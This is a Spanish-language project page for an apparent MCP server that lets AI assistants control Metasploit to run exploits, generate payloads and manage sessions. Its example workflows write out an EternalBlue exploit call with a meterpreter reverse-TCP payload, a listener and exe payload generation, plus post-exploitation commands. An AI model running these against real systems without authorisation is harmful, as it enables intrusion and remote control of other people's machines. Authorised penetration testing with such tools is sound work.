Metasploit MCP Server

Un servidor MCP para integrarse con Metasploit Framework, permitiendo la generación y gestión de payloads.

GitHub
734
Prueba este MCPPatrocinado

Documentación

Servidor MCP de Metasploit

Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración con Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Descripción

Este servidor MCP proporciona un puente entre modelos de lenguaje grandes como Claude y la plataforma de pruebas de penetración Metasploit Framework. Permite que los asistentes de IA accedan y controlen dinámicamente la funcionalidad de Metasploit a través de herramientas estandarizadas, habilitando una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.

Características

Información de Módulos

  • list_exploits: Buscar y listar módulos de exploits disponibles en Metasploit
  • list_payloads: Buscar y listar módulos de payloads disponibles en Metasploit con filtrado opcional por plataforma y arquitectura

Flujo de Trabajo de Explotación

  • run_exploit: Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar verificaciones primero
  • run_auxiliary_module: Ejecutar cualquier módulo auxiliar de Metasploit con opciones personalizadas
  • run_post_module: Ejecutar módulos de post-explotación contra sesiones existentes

Generación de Payloads

  • generate_payload: Generar archivos de payload usando RPC de Metasploit (guarda archivos localmente)

Gestión de Sesiones

  • list_active_sessions: Mostrar sesiones actuales de Metasploit con información detallada
  • send_session_command: Ejecutar un comando en una sesión activa de shell o Meterpreter
  • terminate_session: Finalizar forzosamente una sesión activa

Gestión de Handlers

  • list_listeners: Mostrar todos los handlers activos y trabajos en segundo plano
  • start_listener: Crear un nuevo multi/handler para recibir conexiones
  • stop_job: Terminar cualquier trabajo o handler en ejecución

Requisitos Previos

  • Metasploit Framework instalado y msfrpcd en ejecución
  • Python 3.10 o superior
  • Paquetes de Python requeridos (ver requirements.txt)

Instalación

  1. Clonar este repositorio
  2. Instalar dependencias: 
    pip install -r requirements.txt
  3. Configurar variables de entorno (opcional): 
    MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Uso

Iniciar el servicio RPC de Metasploit:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Opciones de Transporte

El servidor soporta dos métodos de transporte:

  • HTTP/SSE (Server-Sent Events): Modo predeterminado para interoperabilidad con la mayoría de clientes MCP
  • STDIO (Entrada/Salida Estándar): Usado con Claude Desktop y conexiones directas por tubería similares

Puede seleccionar explícitamente el modo de transporte usando la bandera --transport:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Opciones adicionales para modo HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Integración con Claude Desktop

Para la integración con Claude Desktop, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Otros Clientes MCP

Para otros clientes MCP que usan HTTP/SSE:

  1. Iniciar el servidor en modo HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

  2. Configurar su cliente MCP para conectarse a:

    • Endpoint SSE: http://your-server-ip:8085/sse

Consideraciones de Seguridad

⚠️ ADVERTENCIA IMPORTANTE DE SEGURIDAD:

Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela de manera responsable y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.

  • Siempre valide y revise todos los comandos antes de ejecutarlos
  • Ejecute solo en entornos de prueba aislados o con la autorización adecuada
  • Tenga en cuenta que los comandos de post-explotación pueden resultar en modificaciones significativas del sistema

Flujos de Trabajo de Ejemplo

Explotación Básica

  1. Listar exploits disponibles: list_exploits("ms17_010")
  2. Seleccionar y ejecutar un exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Listar sesiones: list_active_sessions()
  4. Ejecutar comandos: send_session_command(1, "whoami")

Post-Explotación

  1. Ejecutar un módulo post: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Enviar comandos personalizados: send_session_command(1, "sysinfo")
  3. Terminar cuando haya terminado: terminate_session(1)

Gestión de Handlers

  1. Iniciar un listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Listar handlers activos: list_listeners()
  3. Generar un payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Detener un handler: stop_job(1)

Pruebas

Este proyecto incluye pruebas unitarias e integrales exhaustivas para garantizar confiabilidad y mantenibilidad.

Requisitos Previos para Pruebas

Instalar dependencias de prueba:

pip install -r requirements-test.txt

O usar el instalador conveniente:

python run_tests.py --install-deps
# OR
make install-deps

Ejecutar Pruebas

Comandos Rápidos

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Suites de Pruebas Específicas

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Opciones de Prueba

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Estructura de Pruebas

  • tests/test_options_parsing.py: Pruebas unitarias para la funcionalidad de análisis de opciones
  • tests/test_helpers.py: Pruebas unitarias para funciones auxiliares internas y gestión del cliente MSF
  • tests/test_tools_integration.py: Pruebas de integración para todas las herramientas MCP con backend de Metasploit simulado
  • conftest.py: Configuraciones y fixtures de prueba compartidos
  • pytest.ini: Configuración de Pytest con ajustes de cobertura

Características de Pruebas

  • Simulación Integral: Todas las dependencias de Metasploit están simuladas, por lo que las pruebas se ejecutan sin requerir una instalación real de MSF
  • Soporte Async: Soporte completo de pruebas async/await usando pytest-asyncio
  • Informes de Cobertura: Análisis detallado de cobertura con informes HTML
  • Pruebas Parametrizadas: Pruebas eficientes de múltiples escenarios de entrada
  • Gestión de Fixtures: Fixtures de prueba reutilizables para escenarios de configuración comunes

Informes de Cobertura

Después de ejecutar pruebas con cobertura, los informes están disponibles en:

  • Terminal: Resumen de cobertura mostrado después de la ejecución de pruebas
  • HTML: htmlcov/index.html (cuando se usa la opción --html)

Integración CI/CD

Para integración continua:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Opciones de Configuración

Directorio de Guardado de Payloads

Por defecto, los payloads generados con generate_payload se guardan en un directorio payloads en su carpeta de inicio (~/payloads o C:\Users\YourUsername\payloads). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR.

Configuración de la variable de entorno:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

  • Windows (Símbolo del sistema):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

  • En la configuración de Claude Desktop:

    "env": {
    "MSF_PASSWORD": "yourpassword",
    "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
}

Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de payloads podría fallar.

Licencia

Apache 2.0